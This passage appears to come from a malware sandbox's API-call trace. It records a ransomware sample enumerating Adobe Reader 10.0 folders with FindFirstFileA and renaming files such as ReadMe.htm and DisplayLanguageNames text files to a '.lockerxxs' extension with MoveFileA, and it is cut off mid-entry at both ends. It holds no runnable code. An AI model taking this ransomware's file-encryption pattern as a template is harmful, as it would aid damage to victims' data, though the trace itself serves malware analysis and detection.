ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0072.944] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60a6, cFileName=".", cAlternateFileName="")) returned 0x502658 [0072.947] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501588, cFileName=".", cAlternateFileName="")) returned 0x502618 [0072.949] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0072.952] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501588, cFileName=".", cAlternateFileName="")) returned 0x502618 [0072.986] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm.lockerxxs")) returned 1 [0073.008] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm.lockerxxs")) returned 1 [0073.012] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm.lockerxxs")) returned 1 [0073.017] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm.lockerxxs")) returned 1 [0073.021] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm.lockerxxs")) returned 1 [0073.025] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm.lockerxxs")) returned 1 [0073.028] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm.lockerxxs")) returned 1 [0073.032] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm.lockerxxs")) returned 1 [0073.036] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm.lockerxxs")) returned 1 [0073.040] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm.lockerxxs")) returned 1 [0073.044] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm.lockerxxs")) returned 1 [0073.048] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm.lockerxxs")) returned 1 [0073.052] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm.lockerxxs")) returned 1 [0073.053] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0069, dwReserved1=0x730065, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0073.059] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0073.064] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0073.131] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf.lockerxxs")) returned 1 [0073.133] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0069, dwReserved1=0x730065, cFileName=".", cAlternateFileName="")) returned 0x502618 [0073.774] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f609e, cFileName=".", cAlternateFileName="")) returned 0x502658 [0073.776] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0073.777] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0074.238] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt.lockerxxs")) returned 1 [0074.280] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt.lockerxxs")) returned 1 [0074.291] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt.lockerxxs")) returned 1 [0074.351] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt.lockerxxs")) returned 1 [0074.396] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt.lockerxxs")) returned 1 [0074.408] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt.lockerxxs")) returned 1 [0074.432] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt.lockerxxs")) returned 1 [0074.455] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt.lockerxxs")) returned 1 [0074.484] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt.lockerxxs")) returned 1 [0074.546] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt.lockerxxs")) returned 1 [0074.591] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt.lockerxxs")) returned 1 [0074.598] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt.lockerxxs")) returned 1 [0074.603] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt.lockerxxs")) returned 1 [0074.634] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt.lockerxxs")) returned 1 [0074.638] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt.lockerxxs")) returned 1 [0074.643] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt.lockerxxs")) returned 1 [0074.646] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt.lockerxxs")) returned 1 [0074.650] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt.lockerxxs")) returned 1 [0074.657] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt.lockerxxs")) returned 1 [0074.665] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt.lockerxxs")) returned 1 [0074.668] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt.lockerxxs")) returned 1 [0074.671] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt.lockerxxs")) returned 1 [0074.677] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt.lockerxxs")) returned 1 [0074.682] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt.lockerxxs")) returned 1 [0074.689] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 